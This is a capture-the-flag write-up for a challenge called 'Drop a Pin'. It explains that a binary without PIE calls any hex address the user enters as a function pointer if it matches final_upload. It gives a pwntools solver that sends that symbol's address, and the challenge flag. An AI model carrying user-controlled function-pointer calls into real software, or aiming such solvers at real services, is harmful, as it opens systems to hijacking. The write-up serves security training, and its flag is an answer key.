Drop a Pin

Walkthrough

Solution

The binary reads a hexadecimal value, casts it to a function pointer, and accepts it only when it equals final_upload. PIE is disabled, so resolve that symbol directly from the ELF and submit its address. The indirect call then enters the flag-printing function.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"
elf = ELF("./main", checksec=False)

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9014)

address = elf.sym["final_upload"]
p.sendlineafter(b"> ", hex(address).encode())

print(p.recvall().decode())
p.close()

Flag

Securinets{th3_g3t4w4y_dr1v3r_n33d3d_4n_3x4ct_p1n}